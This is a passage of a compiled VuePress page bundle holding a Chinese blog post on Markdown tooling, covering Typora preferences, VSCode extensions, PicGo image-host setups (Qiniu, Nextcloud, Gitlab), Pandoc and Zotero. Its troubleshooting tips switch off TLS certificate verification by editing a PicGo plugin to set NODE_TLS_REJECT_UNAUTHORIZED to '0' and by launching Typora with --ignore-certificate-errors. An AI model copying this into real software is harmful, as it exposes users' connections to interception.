vlist-t2"},[a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"2.05em"}},[a("span",{style:{top:"-4.21em"}},[a("span",{class:"pstrut",style:{height:"3em"}}),a("span",{class:"mord"},[a("span",{class:"mord"},"1")])]),a("span",{style:{top:"-3.01em"}},[a("span",{class:"pstrut",style:{height:"3em"}}),a("span",{class:"mord"},[a("span",{class:"mord"},"0")])]),a("span",{style:{top:"-1.81em"}},[a("span",{class:"pstrut",style:{height:"3em"}}),a("span",{class:"mord"},[a("span",{class:"mord"},"1")])])]),a("span",{class:"vlist-s"},"")]),a("span",{class:"vlist-r"},[a("span",{class:"vlist",style:{height:"1.55em"}},[a("span")])])])])])])])])])])],-1),L=a("hr",null,null,-1),O=a("h2",{id:"markdown-编辑软件",tabindex:"-1"},[a("a",{class:"header-anchor",href:"#markdown-编辑软件","aria-hidden":"true"},"#"),e(" Markdown 编辑软件")],-1),I=a("hr",null,null,-1),Z=a("h3",{id:"typora",tabindex:"-1"},[a("a",{class:"header-anchor",href:"#typora","aria-hidden":"true"},"#"),e(" Typora")],-1),H={href:"https://sspai.com/post/70292",target:"_blank",rel:"noopener noreferrer"},W=t('与 VSCode 相较而言在大文件的续写方面渲染速度太慢, 但是当文档仅有一千行左右时渲染速度还不错
PS: 长期使用过后我个人写 Markdown 的主力工具仍是 Typora, 因其对表格以及图片的支持比较好, 以及用 VSCode 写 Markdown 经常需要同时打开源码和预览两个窗口, 即便装了类似 Typora 的插件体验依旧不及 Typora 本体, 而且一两千行, 一两万字基本上对于写一个文档而言也够用了
VSCode 主要在文档中含有太多外链图片资源时编辑文档经常乱跳屏幕, 编辑体验不是很好
Typora 编辑 markdown 文件也有如下顺手之处
自动空行, 使得回车时确实能够换行书写
编辑 markdown 源码时要实现预览时的话行需要在源码行尾输入两个空格或者是一个或多个空行
可视化编辑格式(尤其是表格的插入和编辑体验很好)
直接编辑 Markdown 文件主要是看不到图片, 因此在 VSCode 中编辑 Markdown 时通常会开两个 tab, 一个编辑源码一个用来预览
配合PicGo 也可以自动上传图片到个人图床, 截图完直接粘贴可以自动生成图链
超链接的生成比较灵活, 复制完网页链接之后直接粘贴会根据内容生成超链接及其文本, 对于参考链接的书写比较友好, 省下了不少自己打描述的时间
Typora 激活前没挂梯子的话最好在偏好设置中把使用国内服务器勾选上
配置项推荐 在 偏好设置
中可以自定义自己的配置项
外观
窗口样式 窗口样式
: 分为 经典
与 一体化
两个选项, 可以根据自己的喜好进行设置
一体化
:
经典
:
字体大小 字体大小
: 推荐使用 自动
, 如果字体大小实在看着不舒服也可以自定义设置大小
状态栏 状态栏
: 推荐显示状态栏, 就是页面最下面这几个
阅读速度 阅读速度
: 默认即可, 一般也不会用到
侧边栏 侧边栏
: 勾选以允许折叠与展开大纲视图, 这个配置项无所谓, 因为在编辑时会根据需要在侧边栏右键进行调整
有时侧边栏目录太长是打开折叠展开的, 有时折叠后目录比较短但是层级比较深, 此时为了方便跳转一般会关闭允许折叠(也即全展开)(换言之折叠与否完全看心情)
主题 根据自己的喜好设置主题即可, 具体主题详见 主题推荐
通用
启动选项 默认情况下是打开 Typora 之后全是空白, 推荐选择重新打开上次使用的文件和目录, 这样可以方便继续之前的工作
保存与恢复 推荐勾选自动保存
想必 WPS 卡死导致文件被吞过的同学比较有感触
语言 选择系统语言即可
更新 已经激活了的话推荐勾选自动检查更新
个人倾向于也勾选上更新至开发板, 目前为止还没遇到什么不能接收的恶性 bug, 倾向求稳的同学可以只勾选自动检查更新
许可证信息
在详情界面可以查看序列号, 在换设备以及在其他设备使用 Typora 时会查看此项
快捷键 ',68),U={href:"https://support.typora.io/Shortcut-Keys/#change-shortcut-keys",target:"_blank",rel:"noopener noreferrer"},j={href:"https://zhuanlan.zhihu.com/p/570173026",target:"_blank",rel:"noopener noreferrer"},X=a("hr",null,null,-1),Q=t('这里的自定义快捷键会跳转到官方文档, 该文档中会教授如何自定义快捷键, 翻到文档起始可以看到快捷键表格
Typora 中最常用的快捷键是
对话框 没用过, 不清楚有什么用
高级设置 只用来写文档看文档一般不会开调试模式
匿名使用数据方面除非写开源博客否则一般也不会开
点击打开高级设置会打开一个本地文件夹, 里面有两个 json 文件对应配置文件, 个人没用过, 就不再展开了
Typora 服务器 在激活 Typora 之前会勾选上, 一般是安装好 Typora 之后第一个配置的偏好设置
编辑器 建议打开即时渲染, 显示当前块元素的 Markdown 源码, 这对于调整目录层级比较有帮助, 在光标点到任意一级标题时会显示标题前的 #
, 这样就可以快速通过加减 #
来调整层级而不用再 Ctrl + /
切换到源码做修改
图像
本地图像 当图片存放在本地时推荐如此配置
插入图片时的动作其实有 6 项
选择 复制图片到 ./${filename}.assets 文件夹 是因为个人喜好, 这样可以保证一个 markdown 文件的图片对应一个图片目录
不选择复制图片到当前文件夹是因为若勾选了此项, 当文档中插入的图片比较多时, 打开本地文件目录就会看到一堆图片文件中夹杂着一个 markdown 文件(以及可能存在的导出的 PDF 等其他文件以及其他的参考文档等等), 这就会使得文件目录显得很混乱
不选择复制图片到 ./assets
文件夹是因为当一个目录下有多个 markdown 文件时, 这些 markdown 中的图片就全混在同级目录下的 assets
文件夹里了
不选择复制到指定路径是因为这样设置基本就告别相对路径了, 而绝对路径字符串是坏文明, 换个地方就不能用了
优先使用相对路径, 相对路径是好文明
勾选为相对路径添加 /
是因为有的 markdown 文档渲染站点不支持没有 ./
的相对路径
比如 VuePress 不支持没有 ./
的相对路径图像渲染, 如果引用了当前文档同级目录下的 图片/文件夹中的图片
而没有使用 ./
则会导致渲染出来的 html 无法正确索引到图片文件从而显示不出来图片
不勾选插入时自动转义图片 URL 是因为选上之后相对链接中的中文会自动 URLEncode, 读 Markdown 源码时看着不舒服(
个人图床 ',36),K={href:"https://blog.csdn.net/qq_45807032/article/details/113772697",target:"_blank",rel:"noopener noreferrer"},J=t('之所以不贴自己的实现步骤是因为很早之前从域名申请到具体配置的过程中没有做相关记录, 现在也不想重新来一遍, 所以就不贴了
标题中有 Ubuntu, 但是实际上 Windows 上的配置也是一样的, 而且 Ubuntu 上的 Typora 版本要落后于 Windows 上的 Typora
这里需要注意的是 不要勾选为相对路径添加 ./ , 否则会上传失败(感觉应该是个 bug)
勾选了优先使用相对路径是因为这样的话当写文档时需要在本地存放图像时不用再改动此项配置了
关于勾选了相对路径添加 ./
会导致上传失败个人认为是 bug 是因为
取消勾选此项后就可以正常上传图像了 选了上传图片时其实相对路径的相关配置是没有意义的, 而现实逻辑上不相关的配置具在体实现上出现 bug 的情况并不少见, 属于是合理推测( 为相对路径添加 ./
是最近几个版本新增的功能
',4),Y=a("p",null,"勾选允许根据 YAML 设置自动上传图片是因为感觉可能有用就勾上了",-1),$={href:"https://sspai.com/post/59128",target:"_blank",rel:"noopener noreferrer"},aa=a("p",null,[a("img",{src:"http://cdn.ayusummer233.top/img/202212110246317.png",alt:"image-20221211024621288"})],-1),ea=t(' Markdown
不勾选智能引号是因为在个人写文档中有时用单引号还是双引号是有原因的, 不能随便换
比如 SQL 注入中的单引号与双引号以及 Python 中字符串的单双引号混用
不过一般涉及代码都会使用三个间隔号(`)标记代码块或者是使用两个间隔号包裹单行代码片段, 比如:
print("Hello World")
不勾选智能破折号是因为个人用破折号的情况很少, 用破折号的时候也不希望其发生变化
不勾选转化 Unicode 标点是因为个人标点全是半角, 所以不需要
首行缩进根据个人喜好设置即可
不显示 <br>
是因为勾选了之后个人认为看起来不美观
<br>
一般用于表格内单个单元格中的文字换行
导出 基本上要配的就一个 PDF, 需要注意的配置项也就一个主题, 默认是使用当前主题导出, 但是个人编辑 markdown 时一般用深色的主题, 而 Typora 又不支持深色主题导出, 所以这里需要勾选一个浅色的主题, 这里选了 Vue
主题推荐 ',21),sa={href:"https://ayusummer-my.sharepoint.com/:f:/g/personal/233_ayusummer_onmicrosoft_com/EkVN-9VxuLxPqnwRyHBVAjcBSe_ihPifsnmnknfOc9qsbw?e=aPpTlR",target:"_blank",rel:"noopener noreferrer"},na=t('下载对应的主题压缩包, 解压后将其中的 css 文件复制到主题文件夹中即可, 如果解压后不只有 css 文件还有其他文件夹, 而且开其他文件夹后里面不光是图片, 还有字体等文件时, 将这些 其他的文件夹
也拷贝到主题目录中即可
导出 PDF 主题推荐 因为 Typora 导出 PDF 不支持深色主题, 因此这里在浅色主题中进行推荐, 导出 PDF 推荐使用 Github 和 Vue 主题
Vue
:
Github
:
深色主题推荐 自带的 Night, Dracula, VueDark 都不错
Dracula
:
VueDark
:
Night
:
浅色主题推荐 ',22),ta=a("code",null,"Github",-1),la=a("code",null,"Vue",-1),oa={href:"https://ayusummer-my.sharepoint.com/:f:/g/personal/233_ayusummer_onmicrosoft_com/EkVN-9VxuLxPqnwRyHBVAjcBSe_ihPifsnmnknfOc9qsbw?e=aPpTlR",target:"_blank",rel:"noopener noreferrer"},ia=t(' 报错收集 image load failed 无法正常导出PDF 导出 PDF 点保存后没有提示也没有导出成功
有可能是打印机服务 down 了
打开计算机服务
菜单, 启动 Print Spooler
即可
无法显示局域网https图片 如果图链源自自签名的https局域网站点, 那么需要为 Typora 的启动项添加 --ignore-certificate-errors
参数, 具体如图所示
exe 路径加引号后点击应用可能会自动把引号删掉, 应该不影响使用
LaTeX 相关 ',18),ra={href:"https://github.com/Keldos-Li/typora-latex-theme",target:"_blank",rel:"noopener noreferrer"},pa=t(' 在 VSCode 中编辑 Markdown 文件 安装 VSCode 扩展 Markdown All in One / [Markdown Preview Enhanced](#Markdown Preview Enhanced) Markdown Converter markdown文件的后缀名为md
使用大纲快速索引章节位置 使用插件快速更新生成目录 Markdown All in One 功能如其名字所示, all in one, 常用于预览 Markdown 文件以及格式化 markdown 文本和目录生成
主要是目录生成比较有用, Typora 虽然可以选择插入目录, 但是对于源码的改动只是加了个 [TOC]
, 这种配置只有在 Typora 中才能正确解析, 而 Markdown All in One 的插入目录则是直接以无序列表的形式将目录插入到了源码中, 不管在哪里都是可以正常渲染出来的
预览
:
格式化文档
:
目录
在命令面板中选择使用 Markdown All in One 生成目录即可在当前光标位置生成目录, 且每次保存时会自动更新目录
Markdown Preview Enhanced 个人觉得在预览方面有 Markdown All in One 就足够了, MPE(Markdown Preview Enhanced) 有时被用于导出包含 base64 图片的 HTML 文档
使用 MPE 预览 markdown 文件时若出现如下问题
',23),ca={href:"https://github.com/shd101wyy/markdown-preview-enhanced/issues/429",target:"_blank",rel:"noopener noreferrer"},da={href:"https://github.com/shd101wyy/markdown-preview-enhanced/issues/421",target:"_blank",rel:"noopener noreferrer"},ma=a("p",null,[a("a",{href:"#Pandoc"},"安装 Pandoc"),e(" 再重启 VSCode 即可")],-1),ua=a("hr",null,null,-1),ha=a("p",null,[a("code",null,"使用 MPE 导出 base64图片 && 带侧边目录的 HTML"),e(":")],-1),ga={href:"https://www.mianshigee.com/tutorial/mpe/zh-cn-html.md",target:"_blank",rel:"noopener noreferrer"},ka={href:"https://blog.csdn.net/weixin_38601833/article/details/94585595",target:"_blank",rel:"noopener noreferrer"},ba={href:"https://blog.csdn.net/yqahx/article/details/119785262",target:"_blank",rel:"noopener noreferrer"},va={href:"https://shd101wyy.github.io/markdown-preview-enhanced/#/zh-cn/html",target:"_blank",rel:"noopener noreferrer"},ya=a("hr",null,null,-1),_a=t(`安装完 MPE 插件后在设置中打开脚本执行支持
使用 VSCode 打开 markdown 文件后, 打开 Markdown Preview Enhanced
的预览模式
将光标放到第一行,然后(按 Ctrl+Shift+P
)呼出命令面板,输入 Markdown Preview Enhanced: Create Toc
会在光标位置生成一段代码:
此时每次保存文件都会自动生成目录
然后在头部添加
---
+html :
+ embed_local_images : true
+ embed_svg : true
+ offline : true
+ toc : true
+print_background : true
+export_on_save :
+ html : true
+---
+
picgo
`,15),fa={href:"https://blog.csdn.net/qq_45807032/article/details/113772697",target:"_blank",rel:"noopener noreferrer"},wa=a("p",null,[a("img",{src:"http://cdn.ayusummer233.top/img/20210309122224.png",alt:"VSCodePicGo插件配置"})],-1),Ea=a("p",null,[e("使用说明"),a("br"),a("img",{src:"http://cdn.ayusummer233.top/img/20210309122603.png",alt:"具体使用"})],-1),xa=a("hr",null,null,-1),Aa=a("h4",{id:"markmap",tabindex:"-1"},[a("a",{class:"header-anchor",href:"#markmap","aria-hidden":"true"},"#"),e(" markmap")],-1),Ba={href:"https://marketplace.visualstudio.com/items?itemName=gera2ld.markmap-vscode",target:"_blank",rel:"noopener noreferrer"},qa={href:"https://markmap.js.org/repl",target:"_blank",rel:"noopener noreferrer"},Pa={href:"https://github.com/gera2ld/markmap",target:"_blank",rel:"noopener noreferrer"},Ma=t('能够将 markdown 文件根据目录层级转换为思维导图
markdownlint PS: 该扩展提供 Markdown 语法检查, 但是个人认为 该扩展提供的检查有些过于严格了, 不是特别实用 , 个人更倾向于使用 Markdown All in One 提供的一键格式化 markdown 文本
在启用 markdownlint
时, 若当前 markdown 文本中包含 html 则会被警告, 但是有时 html 标签是在自定义一些个人想要的特性时所需要使用的, 以下是关闭此警告的相关处理方案
',8),Ca={href:"https://yijiebuyi.com/blog/79347d0e8c1739bd1f9d9d7c1dcbcccf.html#md012---multiple-consecutive-blank-lines",target:"_blank",rel:"noopener noreferrer"},Da={href:"https://blog.csdn.net/qq_44926567/article/details/109167394",target:"_blank",rel:"noopener noreferrer"},Ta=a("hr",null,null,-1),za=a("li",null,[a("p",null,"问题"),a("p",null,[e("在 vscode 中使用 markdownlint 插件进行代码分析,当使用了 html 标签时,插件会给出 "),a("code",null,"MD033/no-inline-html"),e(" 警告,")]),a("blockquote",null,[a("p",null,"如果整篇 markdown 很长且遍布这种错误时该插件会导致 VSCode 十分卡顿")])],-1),Fa=a("p",null,"原因",-1),Sa=a("p",null,"插件作者的意图是为了使 markdown 文件是纯 markdown 的,避免在使用 html 以外的方式渲染时出错。",-1),Ga={href:"https://github.com/DavidAnson/markdownlint/blob/v0.21.0/doc/Rules.md#md033",target:"_blank",rel:"noopener noreferrer"},Va=a("p",null,"解决方案",-1),Na={href:"https://blog.csdn.net/qq_44926567/article/details/109167394",target:"_blank",rel:"noopener noreferrer"},Ra=t(`打开 VSCode 设置 json 文件, 添加如下配置:
"markdownlint.config" : {
+ "default" : true ,
+ "MD033" : {
+ "allowed_elements" : [ "font" , "li" , "table" , "tr" , "td" , "br" ]
+ }
+ } ,
+
其中 "allowed_elements"
的列表中填入不想提出警告的 html 标签, 保存修改后,markdownlint 将不再对 "allowed_elements"
中的 html 标签提出警告
`,3),La=a("hr",null,null,-1),Oa=a("h3",{id:"vnote",tabindex:"-1"},[a("a",{class:"header-anchor",href:"#vnote","aria-hidden":"true"},"#"),e(" vnote")],-1),Ia={href:"https://github.com/vnotex/vnote",target:"_blank",rel:"noopener noreferrer"},Za=a("hr",null,null,-1),Ha=t('开始之初,VNote是一款专为Markdown设计的Vim风格笔记应用程序。它不仅仅是一个Markdown编辑器。VNote旨在成为一个带有便捷笔记管理的功能强大的Markdown编辑器,或者一个拥有舒适Markdown体验的笔记软件。
现在,VNote致力于成为一个舒适的笔记平台,会逐步支持更多的文档格式。
VNote是免费、开源的。您可以获得适用于Linux,Windows和macOS的版本。
可以导出嵌入图片的带侧边大纲的 HTML 但是 PDF 导出有些差强人意
工具 图床 七牛云对象存储 ',8),Wa={href:"https://blog.csdn.net/qq_45807032/article/details/113772697",target:"_blank",rel:"noopener noreferrer"},Ua=a("blockquote",null,[a("p",null,"之所以不贴自己的实现步骤是因为很早之前从域名申请到具体配置的过程中没有做相关记录, 现在也不想重新来一遍, 所以就不贴了"),a("hr"),a("p",null,"上述链接标题中有 Ubuntu, 但是实际上 Windows 上的配置也是一样的"),a("p",null,"PS: Ubuntu 上的 Typora 版本要落后于 Windows 上的 Typora 的")],-1),ja=a("hr",null,null,-1),Xa=a("h4",{id:"nextcloud-picgo",tabindex:"-1"},[a("a",{class:"header-anchor",href:"#nextcloud-picgo","aria-hidden":"true"},"#"),e(" Nextcloud+Picgo")],-1),Qa={href:"https://zhuanlan.zhihu.com/p/507984461",target:"_blank",rel:"noopener noreferrer"},Ka=t('Nextcloud 也可以配合 Picgo 作为图床使用, 简单来说上传图片到 nextcloud 并通过公开链接共享后可以在链接后缀加上 /preview
预览
而 Nextcloud 提供了用于上传图片以及分享链接的接口, 因此可以制作 Picgo 上传 Nextcloud 的插件并配合 Typora 使用
在 PicGo 插件设置中搜索 Nextcloud 并安装此项:
然后在 图床设置
中配置 Nextcloud 的地址以及登录账密以及图像存储根目录即可
PS: 插件市场里的两个插件最终都没能使用成功, 而且 log 里没什么有用的信息, 查了下对应的仓库, 最后一次更新均是在 21 年了, 打算后面有空二开一下
PS: 后来考量了下使用了 Gitlab 当图床, 继而不再去考虑二开 nextcloud 的插件了
Gitlab+Picgo ',12),Ja={href:"https://github.com/d-w-x/picgo-plugin-gitlab-files",target:"_blank",rel:"noopener noreferrer"},Ya=a("p",null,"Gitlab 也可以配合 Picgo 当做图床使用, 需要新建一个公开的 Gitlab 项目, 然后配置项目 Token, 详细配置请参阅上述链接",-1),$a=a("p",null,[e("Gitlab 仓库中的图片可以通过 "),a("code",null,"仓库链接/raw/{分支名}/pictures/{图片路径}"),e(" 进行访问, 且 Gitlab 提供了上传文件的接口, 因此可以制作 Picgo 上传图像到 gitlab 仓库的插件并配合 Typora 使用")],-1),ae=a("hr",null,null,-1),ee=a("p",null,"在 PicGo 中下载",-1),se=a("p",null,[a("img",{src:"http://cdn.ayusummer233.top/DailyNotes/22_16_48_20_image-20230322164819962.png",alt:"image-20230322164819962"})],-1),ne={href:"https://github.com/d-w-x/picgo-plugin-gitlab-files",target:"_blank",rel:"noopener noreferrer"},te=t(`需要注意的是 token 那里如果项目里要选角色的话默认是 Guest
, 权限是不够的, 可以给个 Owner
权限
需要注意的是可能上传时会报错 Error: Client network socket disconnected before secure TLS connection was established
这可能是由于 Picgo 挂了本地代理, 将其关掉即可
如果报错 RequestError: **Error**: self signed certificate
那么可能是 gitlab 地址用了自签名的 SSL 证书, 忽略自签名即可, 具体操作如下
打开插件主程序 js 文件, 该文件默认为: C:\\Users\\[Username]\\AppData\\Roaming\\picgo\\node_modules\\picgo-plugin-gitlab-files\\dist\\index.js
使用 process.env
对象来临时修改环境变量,来忽略自签名证书错误, 然后,你就可以在后面的代码中发送HTTPS请求,而忽略自签名证书错误。
PS: 这种方法只会影响当前Node.js进程,不会永久改变环境变量。
process. env. NODE_TLS_REJECT_UNAUTHORIZED = '0' ;
+
如果报错 Request failed with status code 403
可能是 token 给的权限不够, 看下是不是只给了 Guest 权限
如果上传成功了但是 Typora 中无法正确渲染图像, 可能是因 Gitlab 使用了自签名的 SSL 证书, 可以设置 Typora 启动参数 --ignore-certificate-errors
来忽略该问题
PicGo `,20),le={href:"https://github.com/Molunerfinn/PicGo",target:"_blank",rel:"noopener noreferrer"},oe=a("hr",null,null,-1),ie={href:"https://github.com/Molunerfinn/PicGo/releases",target:"_blank",rel:"noopener noreferrer"},re=t('
PicGo 设置正确但是传不上去图片 可能是有设备拦截了请求, 可以在PicGo 设置中配置代理来解决
继续配合 ShareX 使用 有时单纯的静态图片可能不能很明确地展示效果, 用 GIF 可能会更好些
在插入静态图片时通常是截屏后剪贴板中会有该截图, 直接粘贴到 Typora 中就可以自动调佣 PicGo 将剪贴板中的静态图片上传到图床并生成 markdown 引用代码
但是对于 GIF, 首先是在截图方面最常使用的工具多为: Windows 自带的 Win + Shift + S
, Snipaste, QQ截图, 但是这些工具通常不支持截 GIF, ShareX 是支持截 GIF 的
设置截图后复制文件 到剪贴板:
然后直接在 Typora 上粘贴即可自动调用PicGo 上传到图床
比如:
Pandoc ',15),pe={href:"https://www.typora.net/1193.html",target:"_blank",rel:"noopener noreferrer"},ce={href:"https://ayusummer-my.sharepoint.com/:u:/g/personal/233_ayusummer_onmicrosoft_com/EfwTtm_9ifpOmU-DP6dVdT8BPsdarssrIctgWWs_cyv1zA?e=yT8wBM",target:"_blank",rel:"noopener noreferrer"},de=a("hr",null,null,-1),me=a("p",null,"Pandoc 是通用文档文本转换器。Typora 使用它来支持几种文件类型的文件导入/导出功能。",-1),ue=a("hr",null,null,-1),he=a("h3",{id:"reveal-md",tabindex:"-1"},[a("a",{class:"header-anchor",href:"#reveal-md","aria-hidden":"true"},"#"),e(" reveal-md")],-1),ge={href:"https://www.cnblogs.com/crazymakercircle/p/14372042.html",target:"_blank",rel:"noopener noreferrer"},ke=t(`像演示 PPT 一样演示 markdown
安装
:
执行如下命令进行全局安装 reveal-md
npm install -g reveal-md
+
没装 nodejs 的话需要先装 nodejs
使用
:
执行如下命令以使用 reveal-md 演示 markdown 文件
reveal-md path_markdown_file
+
如:
something interesting 徽章 `,14),be={href:"https://github.com/RimoChan/unv-shield",target:"_blank",rel:"noopener noreferrer"},ve=a("hr",null,null,-1),ye=t(`![](https://unv-shield.librian.net/api/unv_shield?code=1&url=https://avatars.githubusercontent.com/u/59549826&scale=2&txt=好!&border=4&barradius=999)
+
markdown + pandoc 写论文 没搞定, 太繁杂了感觉, mark 下, 以后有空再弄
`,5),_e={href:"https://zhuanlan.zhihu.com/p/395193554",target:"_blank",rel:"noopener noreferrer"},fe=a("h4",{id:"文献管理工具-zotero",tabindex:"-1"},[a("a",{class:"header-anchor",href:"#文献管理工具-zotero","aria-hidden":"true"},"#"),e(" 文献管理工具: Zotero")],-1),we={href:"https://www.zotero.org/",target:"_blank",rel:"noopener noreferrer"},Ee=a("p",null,[a("img",{src:"http://cdn.ayusummer233.top/img/20220309100246.png",alt:"20220309100246-Zotero"})],-1),xe={href:"https://www.zotero.org/download/client/dl?channel=release&platform=win32&version=5.0.96.3",target:"_blank",rel:"noopener noreferrer"},Ae={href:"https://microsoftedge.microsoft.com/addons/detail/nmhdhpibnnopknkmonacoephklnflpho",target:"_blank",rel:"noopener noreferrer"},Be=a("blockquote",null,[a("p",null,[a("img",{src:"http://cdn.ayusummer233.top/img/20220309100613.png",alt:"20220309100613-Citation Picker for Zotero"})])],-1),qe={href:"https://www.zotero.org/support/quick_start_guide",target:"_blank",rel:"noopener noreferrer"},Pe={href:"https://www.zotero.org/support/adding_items_to_zotero",target:"_blank",rel:"noopener noreferrer"},Me={href:"https://www.zotero.org/support/collections_and_tags",target:"_blank",rel:"noopener noreferrer"},Ce={href:"https://www.zotero.org/support/creating_bibliographies",target:"_blank",rel:"noopener noreferrer"},De={href:"https://www.zotero.org/support/word_processor_plugin_usage",target:"_blank",rel:"noopener noreferrer"},Te=a("h4",{id:"better-bibtex",tabindex:"-1"},[a("a",{class:"header-anchor",href:"#better-bibtex","aria-hidden":"true"},"#"),e(" Better BibTex")],-1),ze={href:"https://retorque.re/zotero-better-bibtex/",target:"_blank",rel:"noopener noreferrer"},Fe=t('下载此 xpi
文件后打开 Zotero->工具->插件->右上方齿轮图标-> Install add-on From File...
选择下载好的 xpi
文件进行安装, 安装完后重启 Zotero
会自动进入 Better BibTeX
的配置页面(均默认即可)
然后进入 Zotero
主界面 编辑->首选项->Better BibTeX
进行如下配置:
返回 Zotero
主界面后会看到多了一列 Citation Key
属性
Citation Key
可以理解成每个条目的唯一 id, 在上述配置过程中我们将其配置成了 [auth:lower[year]
的形式, 如果有重复的话会在后面添加 a b c
或者数字进行区分
',7);function Se(Ge,Ve){const n=i("ExternalLinkIcon"),r=i("center"),o=i("font");return c(),d("div",null,[h,a("ul",null,[a("li",null,[g,a("p",null,[a("a",k,[e("百度"),s(n)])])]),b]),v,e(),s(r,null,{default:l(()=>[e("文字居中")]),_:1}),y,a("ul",null,[a("li",null,[_,s(o,{face:"黑体"},{default:l(()=>[e("使用黑体")]),_:1})]),a("li",null,[f,s(o,{face:"黑体",size:"10"},{default:l(()=>[e("我是黑体10号字")]),_:1})]),a("li",null,[w,s(o,{color:"red"},{default:l(()=>[e("红色")]),_:1})])]),E,s(o,{size:"5"},{default:l(()=>[e("示例")]),_:1}),x,a("ul",null,[A,a("li",null,[a("p",null,[a("a",B,[e("更多公式"),s(n)])])]),a("li",null,[a("p",null,[a("a",q,[e("希腊字母表"),s(n)])])])]),P,M,a("blockquote",null,[a("p",null,[a("a",C,[e("怎么在LaTeX,Markdown和知乎上写数学公式时打出空格 - 知乎 (zhihu.com)"),s(n)])]),D]),T,z,F,S,a("blockquote",null,[a("p",null,[a("a",G,[e("如何在 markdown 中表示矩阵? - 知乎 (zhihu.com)"),s(n)])]),V]),N,R,L,O,I,Z,a("blockquote",null,[a("p",null,[a("a",H,[e("六年后才推出首个正式版,Typora 1.0 详细评测 - 少数派 (sspai.com)"),s(n)])])]),W,a("blockquote",null,[a("p",null,[a("a",U,[e("Shortcut Keys - Typora Support"),s(n)])]),a("p",null,[a("a",j,[e("Typora快捷键大全 - 知乎 (zhihu.com)"),s(n)])]),X]),Q,a("p",null,[e("有个人图床时, 写个人博客的情况下可以选择结合 PicGo 上传图片到个人图床, 可以参考 "),a("a",K,[e("Ubuntu+PicGo+七牛云图床+Typora搭建笔记神器_xcy.小相的博客-CSDN博客_typroa写ubuntu"),s(n)])]),J,a("ul",null,[a("li",null,[Y,a("blockquote",null,[a("p",null,[e("在 "),a("a",$,[e("Typora 支持自定义图片上传服务了 - 少数派 (sspai.com)"),s(n)]),e(" 中有提到该配置项可能在 mac 上有用")]),aa])])]),ea,a("p",null,[e("个人收集的主题包整合在这里了: "),a("a",sa,[e("Typora主题"),s(n)])]),na,a("p",null,[e("前面打印主题中展示的 "),ta,e(" 和 "),la,e(" 主题都不错, 在"),a("a",oa,[e("分享的主题包"),s(n)]),e("中还有很多浅色主题, 由于个人不常用所以就不过多推荐了")]),ia,a("blockquote",null,[a("p",null,[a("a",ra,[e("将Typora伪装成LaTeX的中文样式主题"),s(n)])])]),pa,a("blockquote",null,[a("p",null,[a("a",ca,[e("报错 Error: spawn pandoc ENOENT · Issue #429 · shd101wyy/markdown-preview-enhanced (github.com)"),s(n)])]),a("p",null,[a("a",da,[e("How to compile to pdf from a markdown doc?! · Issue #421 · shd101wyy/markdown-preview-enhanced (github.com)"),s(n)])])]),ma,ua,ha,a("blockquote",null,[a("p",null,[a("a",ga,[e("3.1 HTML 导出-markdown preview enhanced文档(简体中文版)-面试哥 (mianshigee.com)"),s(n)])]),a("p",null,[a("a",ka,[e("最完善的markdown转html/pdf方法、带目录生成_所谓向日葵族的博客-CSDN博客_markdown转html"),s(n)])]),a("p",null,[a("a",ba,[e("Markdown转换单一html文件并添加侧边栏目录_吟风划彩虹的博客-CSDN博客_html添加目录"),s(n)])]),a("p",null,[a("a",va,[e("HTML (shd101wyy.github.io)"),s(n)])]),ya]),_a,a("p",null,[e("可参阅 "),a("a",fa,[e("七牛云+阿里云域名+PicGo"),s(n)]),e(" 进行配置, 最终在 VSCode 中的配置如下:")]),wa,Ea,xa,Aa,a("blockquote",null,[a("p",null,[a("a",Ba,[e("Markmap - Visual Studio Marketplace"),s(n)])]),a("p",null,[a("a",qa,[e("Try markmap"),s(n)])]),a("p",null,[a("a",Pa,[e("gera2ld/markmap: Visualize your Markdown as mindmaps with Markmap. (github.com)"),s(n)])])]),Ma,a("blockquote",null,[a("p",null,[a("a",Ca,[e("vscode markdownlint插件让你的markdown更加规范 -- Rules规则提示信息 一介布衣 (yijiebuyi.com)"),s(n)])]),a("p",null,[a("a",Da,[e("markdownlint取消部分html标签警告_sbwww的博客-CSDN博客"),s(n)])]),Ta]),a("ul",null,[za,a("li",null,[Fa,Sa,a("blockquote",null,[a("p",null,[a("a",Ga,[e("markdownlint/Rules.md at v0.21.0 · DavidAnson/markdownlint (github.com)"),s(n)])])])]),a("li",null,[Va,a("blockquote",null,[a("p",null,[a("a",Na,[e("markdownlint取消部分html标签警告_sbwww的博客-CSDN博客"),s(n)])])]),Ra])]),La,Oa,a("blockquote",null,[a("p",null,[a("a",Ia,[e("vnote-githubRepo"),s(n)])]),Za]),Ha,a("p",null,[e("请参阅 "),a("a",Wa,[e("Ubuntu+PicGo+七牛云图床+Typora搭建笔记神器_ubuntu挂载七牛云_xcy.小相的博客-CSDN博客"),s(n)])]),Ua,ja,Xa,a("blockquote",null,[a("p",null,[a("a",Qa,[e("Docker系列 深度使用nextcloud(三)Typora图床 - 知乎 (zhihu.com)"),s(n)])])]),Ka,a("blockquote",null,[a("p",null,[a("a",Ja,[e("d-w-x/picgo-plugin-gitlab-files: PicGo 向 Gitlab 的指定项目中上传图片 (github.com)"),s(n)])])]),Ya,$a,ae,ee,se,a("p",null,[e("并按照 "),a("a",ne,[e("d-w-x/picgo-plugin-gitlab-files: PicGo 向 Gitlab 的指定项目中上传图片 (github.com)"),s(n)]),e(" 进行配置即可")]),te,a("blockquote",null,[a("p",null,[a("a",le,[e("Molunerfinn/PicGo: A simple & beautiful tool for pictures uploading built by vue-cli-electron-builder (github.com)"),s(n)])]),oe]),a("p",null,[e("PicGo 之于 Markdown 主要是用于上传图片到个人图床并返回 Markdown 引用链接; 在前文 VSCode 中编辑 Markdown 中有提到 VSCode 中有PicGo 扩展,PicGo 也是有 PC 端软件的, 在 "),a("a",ie,[e("Releases · Molunerfinn/PicGo (github.com)"),s(n)]),e(" 中可以下载对应系统版本的PicGo 安装包")]),re,a("blockquote",null,[a("p",null,[a("a",pe,[e("安装和使用Pandoc | typora中文网"),s(n)])]),a("p",null,[a("a",ce,[e("Pandoc 2.16.1-windows-x86_64.msi - OneDrive Share"),s(n)])]),de]),me,ue,he,a("blockquote",null,[a("p",null,[a("a",ge,[e("markdown写ppt (史上最全) - 疯狂创客圈 - 博客园 (cnblogs.com)"),s(n)])])]),ke,a("blockquote",null,[a("p",null,[a("a",be,[e("RimoChan/unv-shield: 【幼盾】个性化图片徽章服务! 